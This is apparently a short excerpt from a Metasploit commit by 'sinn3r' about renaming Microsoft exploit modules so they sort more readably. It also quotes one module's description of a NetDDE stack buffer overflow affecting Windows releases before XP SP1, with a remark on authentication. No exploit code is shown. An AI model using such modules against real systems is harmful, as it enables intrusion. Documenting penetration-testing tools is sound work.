sinn3r d7ca537a41 Microsoft module name changes
So after making changes for MSIE modules (see #3161), I decided to
take a look at all MS modules, and then I ended up changing all of
them. Reason is the same: if you list modules in an ordered list
, this is a little bit easier to see for your eyes.

'Description' => %q{
This module exploits a stack buffer overflow in the NetDDE service, which is the
precursor to the DCOM interface. This exploit effects only operating systems
released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim
that this vulnerability can be exploited without authentication, the NDDEAPI
pipe is only accessible after successful authentication.
